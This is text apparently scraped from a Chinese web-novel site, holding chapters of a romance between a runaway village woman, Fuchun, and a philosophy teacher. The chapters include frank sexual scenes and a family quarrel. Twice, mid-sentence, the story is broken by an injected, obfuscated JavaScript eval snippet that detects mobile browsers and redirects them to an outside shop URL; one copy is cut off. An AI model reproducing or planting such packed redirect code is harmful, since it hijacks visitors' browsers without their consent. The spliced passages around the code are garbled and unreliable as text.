福春倒是没这样说,给的答案出乎意料单纯。 “你就想问这个?你早说啊!”她翻了个身,面对墙壁声音闷闷,“你说有困难会帮我。” 陈悦目想了好久才反应过来:“我不是说那是骗你的吗?” “你不是没骗吗?” “我就帮你到这。” 话说一半,后面没明说的意思是天下没有免费的午餐,何况他不是什么大善人。陈悦目就当自己警告过她了,福春要是装傻就让她吃不了兜着走。 床下叹了口气没再说话,但是能听见手机哒哒敲字。陈悦目微微抬头望着那边,他看不到福春的脸只看见墙上躺得好好的影子。 “不愿意待你明天就走。” “不是。”手机重复播放一段呱噪视频,是几个人在海边玩闹的笑声和说话声,福春按掉视频蔫声蔫气,“我想我姐妹了。” 她已经和姐妹们断联系有一阵。十三号那晚她从家里跑出来连再见也没来得及和她们说,车票钱还是大姐垫的。 两个月前家里要她结婚,福春连夜跑进城里躲着。父母联系亲戚满世界通缉她,把所有认识的人都问了一圈。 大姐当机立断让姐妹几个把福春微信和□□全删了,社交账号能注销全部注销,最后叮嘱福春让她啥都别发,和所有人断掉联系找个地方安静躲一阵。 5. 女流氓 《四月十三日的福春》全本免费阅读 福春被狠狠推开,嫣红的嘴咧开大笑,白灿灿的大门牙上沾着血丝。 “报警!抓这个不要脸的女流氓!” “哈哈哈哈……” 事情说来简单又荒唐。 当初福春走时老板推脱要等发工资的日子再把钱结给她,于是等发工资这天她来发廊要钱。 周扒皮老板见福春来讨钱当然不乐意,一开始说只给三千后来连三千也不愿意给,和老板娘一唱一和在那演起双簧。 “这谁呀?是剪人耳朵那个吗?” “就她。” 两人嚷嚷着上次垫了医药费还差点被告,店都开不下去了。总而言之就是别说给三千,没让福春倒赔三千都算他们仁慈。 一来二去掰扯不清,三人一路骂着推搡到屋外。 夫妻俩嘴里没句干净话,指着福春一口一个乡下鸡骂她只要长屌都勾搭。 福春也是个疯的,当场把老板三角裤头揪起来提成丁字裤让他没有幺鸡自摸。老板娘看着疼哭的老破口大骂福春骚货。 福春被骂急了。 骚是吧?长屌的都勾搭是吧?福春要证明他们错了,她何止勾搭长屌的,不长的也一样勾搭。 “我就骚了,就骚给你看!” 于是她脑子一热抱住老板娘狠狠啃上去。 * 热闹看过,陈悦目趁乱赶紧把福春拉走。 “咋啦?” “哈哈……” “你瞎乐什么?我要不到工钱就赖在你家白吃白住。” 福春对陈悦目这种幸灾乐祸的态度很不满意。虽然她也爱幸灾乐祸,但陈悦目比她缺德,他对所有人的苦难是发自肺腑的喜悦,刻薄得想让人扇死他。 陈悦目笑道:“你手真欠,怎么把人家裤头拽出来?” “我就随便一捞。”福春比划一下,让身旁的人笑得更欢,她手指轻点嘴唇上的伤口咕哝,“穿红裤头还敢说我骚,最骚是他。” 陈悦目低头走在前面踢开路面的石子,听着福春的话侧头问她:“你跟多少人接过吻?” “干吗告诉你?” “我帮你要工资。” “三个。” “谈过三个男朋友?” “不是男朋友。” “呵,看不出来。” 福春想解释,手指上的汗渗进伤口传来刺痛,她拿开手指,无名指指尖上沾着血丝,嘴里不断尝到血的腥锈味让她恶心连连顿时没有了说话的心情。 两人回到家,陈悦目从柜子里拿出碘酒和棉签让福春上药。 “大炮打蚊子,舔舔得了,擦什么药?” “上药。” “我不上。” “上不上?” “不上。” 陈悦目不多废话,拿过棉签蘸满碘酒压着人坐在沙发上亲自消毒。药水杀进肉里疼得福春龇牙咧嘴,舌头刚要伸出来舔伤口立刻被陈悦目捏住两腮按回去。 “不准舔。” “疼!疼啊——” “忍着。” 他瞟一眼福春讽刺:“疯子还怕疼吗?” “骂我干嘛?” 陈悦目哼了一声冷不丁开口:“三个。” 福春愣神,马上明白过来凑近他故意问:“三个什么?什么三个?”她装疯卖傻,“你快说呀!” 陈悦目默不吭声收东西。 她见状又凑得更近些,贴在他耳边压着笑意:“陈老师你帮我舔舔伤口好得更快。” 动作的手停住,陈悦目退开些,一双深窝含情柳叶眼向下看去,宽而深的双眼皮折痕随着视线变得浅淡,长疏的睫毛盖住眼睛,遮住几分情欲,剩下全是嘲讽:“我不亲烂嘴。” 碘酒瓶子被咣地收进柜子,他站起来又让福春猛地扯住胳膊拉着跌坐下去。 “装什么装?”福春把他按在沙发上,眼神坦荡直视陈悦目问,“陈老师,咱俩啥时候上床?” 一声惨叫响彻屋子,陈悦目拇指直接朝她唇上伤口按下去,“你恶心谁呢?” 福春翻身把人压在下面,两眼神采奕奕,“你带我回来不就是为了上床?我都准备好了你还墨迹啥,来吧先让你摸摸我的奶……” 她去抓陈悦目的手,被他推到一边,“骚货。” 福春不以为耻:“你不就喜欢这样吗?” “你故意的吧?” 窗帘遮住一半光,在屋内划出一条渭泾分明的线。陈悦目站在暗处与阳光下窝在沙发的福春视线碰撞。 他眼神一如当初在发廊里那般盯着福春,屋外货车在街道上发出阵阵噪鸣,像饥饿的豺狼在低声嘶吼。 “去洗澡。”良久,陈悦目收回视线,转身去厨房接水。 “洗完澡就跟我上床吗?” “不上。” “不洗。”福春抹了一把脖子伸手给他看,“干净的。” “洗澡还是卷铺盖滚蛋你选一个。” “……陈老师,我帮你省点水钱。” “你看我像缺钱的样子吗?” 福春认真摇头,“你不像,你像缺爱。” “你像缺心眼。” “一起洗嘛!” 陈悦目冷笑,直接把人推进浴室。 黄昏,天际熏上一层红晕,给城市点上一盏温柔的灯。等福春洗完出来,陈悦目抱手靠在餐桌边早已等待多时。 “住在这要约法三章。” 他拉开身旁椅子示意福春坐下。 陈悦目不想再为一些无关小事提心吊胆,想住下来就要遵守规则。 “行呗,你说啥就啥。” 福春坐下,看着陈悦目抽出一张纸巾擦着已经一尘不染的餐桌慢条斯理说:“第一,留在这不需要付房租但要承担家务。家务按我的要求来,你一定要学会。” “行。” 福春手撑桌面托腮,被陈悦目擦桌子的手拱了拱,又老老实实放下去端坐着。 “第二,我的私人物品不准碰包括衣柜、床、还有书桌上的所用物品。” “那咋打扫卫生?” “只擦表面,或者不擦。” “按你说的来。” “还有,这里没有门禁但是你晚归要告诉我。” “多晚算晚?” “太阳下山。” “阴天咋办?” “你一个无业游民阴天出门干什么?” 福春伸手去拿陈悦目擦完桌子的纸擤鼻涕被对方打掉转而又抽了一张新的给她。 屋子安静,洗衣机恰好洗完衣服发出短暂的提示音乐。 福春坐在位子上不敢动,小声提醒陈悦目:“衣服洗好了。” “家里有烘干机,你的衣服全部用烘干机烘干不准晾在阳台。” “行,都行。陈老师,你说了算。” 福春连连点头,对陈悦目这样的人替他省钱就是在羞辱他,她不需要提出意见,只需要答应。 “剩下的随时补充,等遇到再说。” “你这都超过三章了。” “剩下的放补充条款。” “要写下来吗?” “口头协议同样具有效力。”陈悦目说完起身,又从洗衣机旁的柜子里拿出一副手套戴上开始抖衣服。 福春扭头问他:“那你帮我要工资还作数吗?” 身后的人将衣服放进烘干机反问:“你想要多少钱?” * 一个星期后,陈悦目帮福春拿回了两个月的工资外加一千提成,但钱并没有直接给福春。按陈悦目的说法,在他家吃住这么久总要付点押金,万一福春把东西弄坏拍拍屁股跑了怎么办?于是他提出记账领钱,福春需要用钱的时候再来拿钱。 “这是我的钱!”福春坐在自己的小床铺上打滚。 “在我手里我说了算。” “你怎么不讲理?” “怎么不讲理,我不是跟你商量吗?” “我不答应。” 福春等着他说不答应就滚,然后就可以顺理成章拿着钱走人,但陈悦目却说:“那我们再来好好捋清楚逻辑。” 福春躺在床上撒泼,大蛆一样的缠住被子拱来拱去,拱到最后也无济于事,等她闹完陈悦目才冷静说道:“闹够了?能继续吗?” 还有什么可说的,福春蔫蔫坐起来,不同意陈悦目也会一直说到同意为止。 “你说了算呗,我能有什么意见。” 陈悦目对于福春的顺从很满意。像她这样一穷二白又没什么本事的打工妹就是拴在石磨上的骡子,有根胡萝卜吊着就可以随意拿捏。当初吊着她的是发廊老板,现在这根胡萝卜交到了陈悦目手里。 福春也终于认清了这场谈话的本质,扭头忿忿瞪着墙角嘟囔:“变态。” 她在陈悦目这从夏天一直住到入冬,约法三章之后彼此都没再有出格的举动,这样磕磕绊绊的住下来倒也相安无事。 只是冬日骤降的温度总让人渴望温暖,另一半窗帘被拉起,暖阳暧昧地在地板上晕开,渭泾分明的界限一点点变得模糊。 “陈老师,坐三小时了你腰不酸吗?”福春忽然走到他身后,双手在陈悦目的肩背上按揉。 “别动我。” “给你按按肩膀。”指尖精准按在酸痛的部位,让他不由自主发出痛苦又满足的叹息。 “舒服吧?” 他直接趴在桌上让福春按摩。一双手在后背游走,有规律地揉动。 福春的按摩技术一般,不说医馆里专业的推拿师,连Spa里的技师也比不过,但她就是有种魔力,皮肤相接触的一刹那让你无法拒绝。 那是一种粗糙的亲和力,隔着衣料让陈悦目想要更多…… “你早想让我给你这样按背吧?”福春的手扣住陈悦目的,整个人贴在他后背上附在他耳边,“那时在发廊我给别人按你就总看我。” “问你的时候你还说不要,装!” 陈悦目趴着没动,浑身气血通畅,白皙皮肤下透出淡淡红色,耳廓也充血通红。 福春抱住他的手臂,就着还残余在手掌上的一点护手霜拉扯揉捏每根手指。 两手十指相扣,手上沾满那股刺鼻廉价的香味。 “你不看我怎么知道我在看你?” “嗯,我看你了。”福春大方承认,“我就愿意看你。” 陈悦目在那堆男人里远不止眉清目秀,就跟他的名字一样叫人赏心悦目,走哪都打眼。 “给我按按肩。”陈悦目将手从福春怀里抽回,指指肩胛那处位置。 “是这吗?”
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“哎呀少说两句,我头疼。”陈母手撑在桌上,拇指顶住太阳穴压揉,眼皮一掀对陈悦目语气不耐,“你为什么非要拧着来?” “是我拧着来还是你们看我不顺眼?” “这饭是不用吃了,好好的一餐。”陈父丢下餐巾,让洪婶端来普洱,铁青着脸指着对面,“从去年到现在我给过你多少次机会,陈悦目你自己说。” 陈悦目想起过年时那一地狼藉,看着桌上饭菜笑问:“想揍我吗?我觉得汤勺挺趁手的。” 陈教授当然是要教训他的,并且已经想好教训他的方法,教训陈悦目的方法有很多,他偏好动口不动手。 “我觉得你精神不正常。陈悦目,你搅得家里鸡犬不宁。” 陈悦目双手放在餐桌,嘴巴微张,几不可闻哼了一声舔了舔发干的唇:“那就放我走,让我自生自灭。” “你们不要说气话。”陈母抬手给他们倒了杯普洱,这是父亲爱喝的茶,陈悦目一闻到普洱的味道就忍不住作呕。 “你就是缺管教!当初我太信任你了放你一人出国,结果就是让你变成现在这样堕落不知廉耻。”陈父指节叩击桌面正色,“你在外面干的事以为我不知道吗?” 茶杯盖咣啷掉地上,洪婶赶紧捡起来,“我去换一个。”然后匆匆进厨房关起门。 陈悦目收回视线,冷冷看向父亲:“我干的事多了,您指哪一件?” “本事没多大,学人家金屋藏娇倒学得快。” “你怎么知道?”陈母脸色变了变,却遭到丈夫责备。 “慈母多败儿。” 男人又把炮火对准陈悦目:“家里介绍那么多大家闺秀你看不上,转头找了个中专毕业的洗头妹,呵。” 这些对陈悦目毫无杀伤力,从他决定跟福春在一起的那一刻他就想得清清楚楚,要在乎面子当初压根不会走进那间发廊。 “我就喜欢洗头妹,难道你不喜欢?” 陈母瞪大眼扭头,嘴唇苍白说不出话。 父子俩的较量父亲从来都是毋庸置疑的胜者,每一次都必须是。 陈父忽然大笑:“你呀,你就这点出息。”男人砍刀似的眉峰下目光阴寒狠厉,“为了性/欲耽误正事,离谱!学校离家远就不要求你搬回来,但是过两天有个饭局你必须跟我去一趟。” “我不奉陪了,喜欢去你自己去。” “是吗,那我改天去拜访一下汤女士。” 陈悦目瞳孔缩紧,脸上再也挂不住,握紧拳头浑身绷紧盯着对面咬牙道:“你敢。” 陈父停顿一瞬,忽然遇见猎物般兴奋地眼睛上下审量,“你居然动真感情?” “那种脏东西你居然动了感情?” 餐桌死一般寂静,留给戏瘾大发的表演。 他荒唐大笑:“陈悦目,你是不是在她面前特别有成就感? “天啊,你就是个窝囊废!这么多年你居然没一点长进,还是那个能让考试吓得屁滚尿流的孬种。” “够了!”一声暴喝打断争吵。 陈母坐僵的身子一抖,不可思议地看着声音源头,过了好一会她反应过来,嘴里喋喋不休:“这家像话吗?” 餐桌被渐渐扩大的阴影笼罩,灯光将影子打在画上,恰好与欢笑的女孩重叠。 “我一直忍着没说话,就是想听听你们到底吵什么。” 陈赏心双手撑在台面,“每次我就像个外人看着你们吵架只能说些不痛不痒的话。爸妈,你们还当我是女儿吗?” 她离家多年,已经成了这个家的局外人。母亲的郁郁寡欢,弟弟的叛逆,太多的事无从插手,只能眼见着裂缝扩大直到分崩离析。 “你怎么会这样想?心心,你一直是我们的骄傲。” “那陈悦目呢?”陈赏心指着陈悦目对父母大声责问,“你们拿他当什么?这些年我不在家都不知道你们居然这样对他! “语言羞辱,暴力,燃气灯……爸爸他是您的孩子,您怎么舍得这么折磨他?!” “心心。”陈父端坐在位子,没有人可以挑战他的权威,即使是陈赏心也不例外,“你怎么可以污蔑我?” “这家一直就这样。”陈悦目垂头,阴影遮住双眼,随即又抬头嗤笑一声,换来陈赏心怒视。 “还有你,出了事为什么不跟我说?” “你不在家,说了有什么用?” 气氛沉默焦灼,像快燃起的干草堆。 最终陈赏心打破氛围。 “抱歉,我下午有个会,这几天都有安排暂时不会回来了。”她起身从衣挂上拿下自己的衣服和包。 “回家吃饭吧,让洪姐给你做好吃的。”陈母细声劝慰。 “不必,我已经被你们恶心的没胃口。”陈赏心说完摔门离去。 15. 谎言 晚上,陈悦目和福春兴致寥寥,一番例行公事后便抱一起在小台灯下说悄悄话。 陈悦目趴福春怀里,手指卷起她的发梢放在鼻尖轻嗅,找了个舒服的位置聆听心跳,觉得这才是一天中真正惬意的时刻。 “干吗?老实别动,抱着我。”他在福春腰上轻掐一把,两手顺势环住她紧紧贴着,享受这个专属于他的怀抱。 “那你躺好,我要码字了。”福春从旁边床头柜够来手机圈住陈悦目哒哒敲字。她文笔虽烂,但胜在更新勤快,每天都有新素材让读者看乐子。 陈悦目看着福春以每分钟五十字的速度制造垃圾疾首蹙额,头一次感受到文学界还是需要门槛的。 “小学没学的地得吗?”他指着文章错误的地方说,“你都用的算了,别乱用。” “学了,忘了。”福春没有能力追求文字的艺术性便只图自己痛快撒欢写。反正平台写东西给全勤,她就胡乱写薅羊毛挣点钱。 “你起来,让我躺会。”她一把将陈悦目推开,翻身卷上被子躺在陈悦目肚子上。 “我的电脑和键盘你可以拿去用,键盘打字更方便。” “我习惯用手机。” “想当作家吗?走写作这条路也好,省得被说无所事事。”灯光调亮,陈悦目搂住人坐起来,又从旁拿来枕头垫在自己身前让怀里的人躺着更舒服。他将脸埋在福春发丝间,双手圈住她的腰探进衣服里揉捏。 “等到时带你去见几个人,找个团队帮你润色文章再顺便炒热度,运气好的话能搭上影视圈就出版卖版权一条龙,然后你也是个知名作家了。” 陈悦目半哄半骗给她画大饼,等着看她扑进自己怀里傻笑,“开心吗?” 福春反手将枕头扯到一个更舒服的位置安心码字,毫无波澜:“你压我头发了。” “不喜欢这样?还是你想一步一步脚踏实地出成绩?你资质愚钝我又没什么耐心,教你恐怕我俩会同归于尽,不如我帮你找个老师怎么样?” “老师是大学老师吗?” “你愿意的话从小学到大学可以全部请来。都看不上我就把我妈叫来,中文系教授,百万畅销书大作家能入你的眼了吧?” 福春总算停下打字的手仰头问:“阿姨能帮我看篇小说吗?” “看你写的这篇吗?”陈悦目噙着笑,一面握住她的手,一面扶住她的腰贴近自己,“写得又臭又长,说服我妈看得费点心思,你要拿出诚意来谢我。”他低头在她耳边轻轻舔舐,福春的耳朵这段时间被他调教得相当敏感,贴着耳根一嘬马上来感觉。 “等会。” 陈悦目抓过她的手机放在床头,一个转身顺势将人压下。 “不等。” 他来了兴致,手指不知怎么一拨拉竟把福春睡衣下摆的扣子全部扯开。 “有正事,你先起来——” 福春推开他翻身从袋子里拿出两沓作文本。本子很旧,边角都起了毛边。拿起来时还有几页摇摇欲坠,这种旧作文本现在连学校也淘汰了,不知道福春从哪里找出来的。 “看一眼给两句评价就成。”福春想了想,“比我写的肯定好多了。” 陈悦目接过本子,封面上签字笔痕迹很淡,笔锋却力透纸背在纸页上留下深深刻痕。上面的名字不是福春,而是福春的朋友花康宇。 “今天去找朋友玩了?”陈悦目问她。 “没有,回了趟村。” 临走前,姥姥从屋里找出来这两本作文交给福春说:“劝劝她。” 本子里是花康宇在高中时写的言情小说。那时大家十七八岁情窦初开,即使像花康宇现在这般绝情绝爱在那个年纪也有心仪的对象。她高中时语文成绩在年级名列前茅,课余时间写完作业就用来写小说。 写小说本来也不是什么大不了的事,城市里绝大部分小孩在课余发展自己的爱好多数是得到父母支持的。但那时县城普遍教育观念落后,很多家长文化水平不高不懂怎么教育孩子。有些严厉的看见小孩玩乐就觉得是不务正业非要掐死在苗头才罢休。 花康宇的小说就是在那样的情况下被姥姥发现,然后揪着她到学校找老师大闹。 从那以后花康宇再没写过小说,也没看过小说。性格也从原来的文静腼腆细腻敏感变成沉默寡言嫉恶如仇。 这么多年过去没想到姥姥居然还留着这两本小说。本子虽旧但看得出来是被好好收起来藏着的。 老太太是想劝花康宇继续求学,而这两沓纸正是花康宇的心结。 * 小说拿给陈悦目后他没怎么上心,不是福春的他也不在意。恰好那天和家里闹得不愉快这两本作文本便被他丢进抽屉继续吃灰。 陈悦目忙完得空,福春又开始变得忙碌。她最近开始工作,借着在陈悦目家干家务攒的经验尝试在平台接单做家政。每天天不亮就起床拎着装满工具的红塑料桶在城市东奔西跑。 中午十二点,福春提桶从小区走出来握着发烫的手机坐在公交站铁椅子上剪视频发抖音。手机发来信息显示下午做清扫的预约取消,福春看了眼时间,站起来提着桶直接走回家。 陈悦目下午在阳台修花草,福春回家的时候就见阳台门大敞,一个身穿白色紧身T恤的身影蹲坐在门口拿着把小剪子咔嚓咔嚓剪叶子。 “我回来啦!”福春脱鞋,顺手从柜子上拿来酒精往自己的大红桶上一通狂喷。 这是陈悦目要求的,他不能容忍清扫过别人家污垢的工具再进入自己的空间,最开始是要求福春放在门口,但是福春也不能容忍自己赚钱的家伙事放在外面,这一套东西买下来花不少钱让人整个桶拎走那还得了? “谁没事干偷你那破桶?”陈悦目嫌弃道。 “万一遇上同行呢?” “这栋楼上下左右没你同行,你把桶挂个牌子放电梯里说不定还能招两单生意。” “真的?” “不准挂牌子招生意!” “那我就把桶放家里。”福春坚持,“你的东西就随便放,我放东西为什么还要经过你同意?” 陈悦目拗不过她,最后各退一步让她每天回来用酒精把桶喷一遍再放到阳台。 “今天这么早回来?” “下午的单子取消了。”福春从冰箱里拿出两瓶果汁蹲在陈悦目身边。 “洗手了吗?” “洗啦,比你的都干净!”福春见旁边放着很多木板木条,顺手拿起一根,“你要搭架子?” “嗯。”盆栽收拾好,陈悦目小心把它们放在一边,然后打开边上的工具箱拿出一袋螺丝,“不够放。” 阳台不知不觉变得热闹,从最初两抹的明亮变成现在的五颜六色,从楼下望上来像个空中小花园。 材料都是现成的,直接用螺丝拧上就成。 陈悦目把电动螺丝刀拿在手里试了两下然后熟练开始组装。 天气日渐炎热,大太阳底下多晒一会就开始出汗。他皮肤上一层细汗在阳光下随着动作起伏闪耀。一滴汗从发间顺着脖子滑落,福春伸出食指接住,沿着汗的痕迹轻轻往上刮。 “干吗?” “想不到你还会做木活。” “这算什么木活?” 福春觉得他在日头底下闷声干活比在屋子里端咖啡杯碎嘴子顺眼。 她抓住陈悦目的手放在自己胸上,“我觉得你干活的样子特别帅,奖励你。” 这种无厘头的行为陈悦目司空见惯,他抽回手,随即又在福春屁股上掐一把骂她:“闲的没事就去洗澡。” “装什么正经,这不是你最喜欢的?每天摸完了还要躺一躺。” 福春说完豪迈地将一瓶果汁咣咣灌下肚。 陈悦目算服了她,拿起自己那罐苹果汁递去,“喊,再喊大声点,让整栋楼都听见。” “我以为他们早知道呢!” 陈悦目不吱声。 “你说现在的公寓又不隔音,咱们每天晚上动静这么大上下左右的邻居怎么不投诉?” “行了,快进去。” “进去干吗?在这晒太阳多舒服。” 最后一颗螺丝钉打进木条,陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不就是嘛!”甩过来的枕头被接住,福春夹住枕头骑他身上,“我也是为了赚钱,不着急赚钱的话肯定专心玩你。”说完又俯身在陈悦目身上亲亲啃啃。 这种直白而粗糙的讨好对陈悦目很奏效,他非常喜欢福春明确表达对他的渴望,让他虚荣心得到莫大满足。 被哄顺了气,陈悦目抬起手将她耳边碎发撩到耳后问:“你很缺钱吗?缺多少?” “我就是想攒点钱。”福春扯开话题想起另一件事问他,“上次给你的小说你妈看了吗?写的怎么样?” 陈悦目一愣,终于记起被他扔在抽屉的两沓东西。 “说呀,写的好不好?” 他咳嗽一声脱口而出:“看了,写的还可以。” 随口一句谎言换来福春开心大叫,趴在他身上又亲又舔。声音在陈悦目耳边像隔了厚厚的海绵,他只听到自己撒谎后加快的心跳。 照往常陈悦目肯定直接承认,甚至还会幸灾乐祸告诉她自己压根就把这件事忘了,然后看她跳脚又拿自己无可奈何的样子讥讽嘲笑。 “开心吗?” “开心。” “那你要怎么谢我?” “做什么都行!” 如今这行为也不好说是比以前善良还是更加恶劣。 他把福春压在身下,拇指轻轻扫过她的鬓角。当两个人靠得很近时反而看不清对方,眩晕会让视线紧紧盯着对方脸颊或者嘴角。他们挨得很近,居然没发现其中有一人眼眸里不知不觉全是温柔。 陈悦目俯下身轻蹭福春鼻尖,与她额头相贴。 艳阳从窗帘缝隙里漫进,一线春光就已经很暖很暖。 情动时,陈悦目忽然说:“我们要个孩子吧?” “啊?” 福春沉溺其中随口敷衍然后换来更加猛烈地回应。 男人都会在同一件事情上要面子,特别是对着喜欢的女人,陈悦目也不能免俗。两人闹到天黑还没结束,福春又困又烦只想一脚把他踹走。 16. 厂妹 “你把这东西拿走!” “为什么?你看看你写的多好,连大作家都说你写的好。” 福春特意趁休息日跑过来告诉花康宇这个好消息。 她把作文本展开挡在对方脸前笑呵呵:“呆子,你写作有天赋,别在这打螺丝浪费时间了。” 花康宇听到这话丝毫没有欣喜,她一把甩开福春,在人来人往的街上激动大吼:“汤春福!我说、把这东西拿走、烧掉!” 本子掉落地上,风吹开页面有几张纸飞了出来。路过的厂弟厂妹看着她们笑,伸手在风中抓住飘摇的文稿纸又还给福春。福春去捡时被从后面推了一把,写满字的纸让花康宇抢过来狠狠踩在脚下。 纸页被碾得稀碎嵌在地里。 福春拾起皱巴巴的纸展平,拍掉上面的灰土夹在作文本里放进塑料袋,对花康宇说:“小语,你回学校读书吧!” “你疯了!”花康宇觉得眼前这人简直不可理喻,“我现在需要的是知识吗?是钱——钱!” 劝她学门技术谋生还说得过去,劝她回学校读书又蠢又毒。 她越说越气,心中窜上无名火,只想狠狠揍福春,“你傍上有钱人就开始装高贵了?” 花康宇揪住福春肩膀拉扯,“就你善良,就你上进,别人都是蠢蛋是吧?你看看我,你看看我有什么资格读书? “读书是我该干的事吗!学校是我能去的吗!? “汤春福我告诉你,这东西是我一生的耻辱,你再敢拿着向你金主显摆我就拍死你!” 福春不吭声,脑袋被花康宇戳出好几道印子,丧眉耷眼嗫嚅:“我不是这意思。” “滚!” 来报喜讯碰一鼻子灰,福春咽咽口水,还是决定冒险问最后一句。她把脚下石块往后踢出老远,怕一会花康宇真的打死她,“如果债还完了你还回去读书吗?” 话音刚落,对方目眦尽裂,二话不说朝福春冲过去。福春撒丫子跳上325,看着车外追上来的人欲哭无泪:“老的也这样,小的也这样。你们一家咋都这么吓人啊!” * 晚上回家,福春裤子一脱踢在地上,人直接朝床里栽倒。 “累了?” 陈悦目洗完澡从浴室出来,侧躺在福春身边,把她脸颊上被汗浸湿的一缕发丝拨到后面,“哪来的力气天天跑出去玩?” 福春躺在床上眼睛眨巴眨巴望着陈悦目:“我想玩猫头鹰。” “好。” 家里有一对猫头鹰的冰箱贴陈悦目很喜欢,经常会写一些备忘用它们贴在冰箱上。福春也很喜欢,常常把它们摘下来当吸铁磁玩,然后把陈悦目的备忘丢在一边。 当两个吸铁磁合在一起时,福春仰起头问:“你喜欢猫头鹰吗?我是说真的猫头鹰。” “什么样算喜欢?”陈悦目坐在床边反问。 “喜欢就喜欢,喜欢哪有那么多讲究?” “那就喜欢。”他俯身吻上福春额头,“听说过密涅瓦的猫头鹰吗?” “只在黄昏时起飞。” “你知道?” “啊?”福春坐起身,“什么?” 陈悦目拿过她手里的那对猫头鹰,翻到磁极相同的一面,手抵住它们轻轻滑动,“密涅瓦的猫头鹰只在黄昏时起飞。智慧女神密涅瓦身旁的猫头鹰是思想和理性的象征,黑格尔用猫头鹰在黄昏时起飞来比喻哲学。” “明白了。” “你骗我的吧?” “我真明白了。” “我是说你刚才装傻说不知道是不是骗我?” 福春亲他脸颊,“我觉得你认真给我解释知识的样子很性感。” “太假了。” “你一定很喜欢你的工作。” “一般。” “那就是很喜欢哲学。” “算吗,不做这个我也不知道活着要干什么。” “这不是喜欢吗?” “是吗?也可能是别的太痛苦只有想到这个能喘口气。” “你也会觉得活着痛苦?” “每一分每一秒。”陈悦目平静陈述。 他以为福春还会再问下去,她却低下头把手盖在他的手上。那瞬间两人隔了很远,福春绝对不是在跟他说话:“对不起。” 下一秒两人都惊慌失措。 陈悦目闭了闭眼,“去洗澡吧。” “嗯。” 花开得很旺盛,陈悦目站在阳台听着浴室水声,修长手指抚过木架,一根刺扎进他的指头。刺很小,几乎不可能徒手挑出来,用指腹碾过时又能感觉到刺痛。 “我洗好啦!”后背袭上一股温暖,一双手环住他。 陈悦目站在那。 “花好看吗?” “好看。” 阳台没开灯,只有客厅的灯光照亮轮廓。他的脸隐没在昏暗中,睫毛颤动,眉目中露出一点锐利光亮。 “都是我的。” “嗯。” “你有什么想对我说吗?” 等了一会,福春告诉他:“我今天去见了小语。” “就这些?” 福春不想再聊下去,她转身进屋,把袋子里被踩坏的作文本拿出来甩桌上。 “怎么烂了?”陈悦目拿起来,两指捏住边缘放在垃圾桶上方抖灰。 福春倒在床上破罐破摔:“烂就烂吧。” 本子破得不像话,似乎轻轻一搓就会散掉。陈悦目皱眉翻开里面,发现有好几页的字已经蹭花,他调侃道:“拿着它上战场了?” 福春唉声叹气:“我没心情开玩笑。”她今天这么失落的原因全是因为它们。 “这样我还怎么拿给我妈看?” 话音刚落陈悦目立刻警觉,背过身翻来覆去摆弄那两个破纸本。 福春本来躺着,安静了一阵,蹭地坐起来。 “你什么意思?” 沉默。 “你骗我。” 陈悦目背着她用力将本子沿着垃圾桶狠狠抽打两下然后摔进抽屉,转身质问:“什么叫我骗你?” “你告诉我你妈觉得小说很好看。” “嗯,是我说的,怎么了?” “那不就是骗我嘛!”福春吼道。 骗子被骗原来也会气急败坏。 陈悦目靠在桌边抱起胳膊哂笑:“没错,我骗你了,骗你特别好玩。” “兔崽子,敢骗老娘!”福春直接一扑跟抱脸虫似的糊上他,狠狠骂道,“挠死你。” 两人滚到床上,陈悦目被压着,下巴处被抓出几道印子。福春往死里掐他。 他翻身,抓住她手腕把人压在身下,喘着粗气:“那你呢?你就敢说没有事瞒着我?” 他们视线交锋,划在对方皮肉,比谁先挑破血肉/洞穿对方心脏。 “说啊!”陈悦目低吼,“死骗子。” 福春躺在那,挑起眉眼波流转,媚态横生,“那你问啊!你问我就说。” 屋子里默默无声,空气像被无形的手狠狠扯紧。 陈悦目终究没问,而是选择和她做/爱。 发泄过后疙瘩虽然还在,但是火消了姑且能忍一阵。 感情经不起细问,问多了对自己是种残忍。 他们躺在床上,不知道谁先说的第一句,福春趴在陈悦目身上慢慢讲起花康宇的事。 那年她上中专,花康宇上高中。两人一度断掉联系。 在福春眼里花康宇是很高傲的人,高中那三年偶尔在小吃街上撞见,花康宇也装不认识。 “后来她爸爸在城里出事了。”福春的手指点在陈悦目心口,“工程队赶进度,她爸加班时不系安全绳从三楼摔下来……” 人救得及时捡回一条命,但从此也废了,手术后出现各种并发症基本三天两头送医院。 她妈一边陪她爸治病一边蹬三轮卖烤洋芋,而花康宇则由姥姥照顾。 她的姥姥是个面朝黄土背朝天的农民,没念过书,没啥先进教育观,只知道读书上大学才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883439|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是出路。十几年如一日把花康宇当小学生,纠她吃饭写作业,晚一分钟回家电话就打到老师办公室。 她就这样过着从学校放学回家里继续“上学”的日子到了高三。 那年他们班从市里转来一个体育生。那男的比他们大一岁,据说因为踢球受伤休学一年。他人长得干净,有礼貌又热情开朗,每天座位上围着一堆人。有一次花康宇给老师送作业,那男生大老远在操场看见跑过去帮她。 两人走了一段路,到了办公室男生把作业放下离开,花康宇抱着作业站在那一直看着他出门。后来他们偶尔搭个话,一来二去也算熟悉。花康宇在这年高三情窦初开喜欢上她的同学。 “……但是那男的不喜欢她。” “你怎么知道,躲人床底下了?”陈悦目打住福春添油加醋的叙述。 “都在一个地方哪有秘密?我学校同学还有好几个跑到他高中去追人呢!” “那你呢?”陈悦目问她。 “我那时……哎你听不听了?” 他没再追问,摸摸她的脑袋,抓起她捣乱的手握住放在自己胸口听她继续说。 